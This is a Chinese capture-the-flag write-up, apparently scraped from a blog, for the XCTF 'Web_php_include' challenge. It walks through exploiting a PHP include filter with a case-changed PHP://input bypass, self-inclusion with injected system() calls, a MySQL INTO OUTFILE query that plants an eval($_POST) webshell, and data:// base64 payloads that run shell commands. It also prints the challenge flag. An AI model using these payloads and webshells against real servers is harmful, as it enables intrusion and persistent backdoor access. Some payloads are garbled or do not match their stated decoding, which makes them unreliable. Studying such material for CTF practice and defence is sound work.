天天看点

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

目录

  • 基础题解
  • 本题相关知识点:
  • 一题多解:
    • php文件包含
    • 一句话木马
    • data://伪协议
    • data://伪协议+一句话木马

基础题解

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
           

上面这段代码功能:上传内容中若有“php://”则删除

此处利用strstr()函数大小写的敏感性,进行绕过:

/?page=PHP://input

然后传入php语句

得到目录文件

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

然后可直接获得flag

注意:

现在好像不能直接在网页中显示flag,只有用bp才能看到

如下:

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

本题相关知识点:

php://input、php://output用法解析

php协议

php://详解

一题多解:

php文件包含

1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。

2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真

3.利用hello参数将执行内容显示,flag如图所示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

%3C是

<

%22是

"

%3E是

>

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

一句话木马

先用御剑扫描后台看到管理员界面

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

用户名为root,密码为空

然后进行数据库更改

SQL查询语句

SELECT "<?php eval(@$_POST['1']); ?>"
INTO OUTFILE '/tmp/test1.php'
           

添加一句话木马

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

然后打开中国剑蚁

输入url和密码

使用方法:在网址后加参数:

/?page=/tmp/test1.php

这里一定要注意,不能忘记tmp前面的

/

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:
【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:
【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

得到flag

data://伪协议

既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议

data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:

data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("ls")?> base64编码后使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b

(注意编码后的+号要URL编码)

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag

【XCTF 攻防世界】WEB 高手进阶区 Web_php_include基础题解本题相关知识点:一题多解:

data://伪协议+一句话木马

<?php eval($_POST["1"]); ?>

base64加密后拼接

/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀连接即可

(不用base64同样可以达到效果)

再或者

/index.php?page=data:text/plain,<?php system("ls"); ?>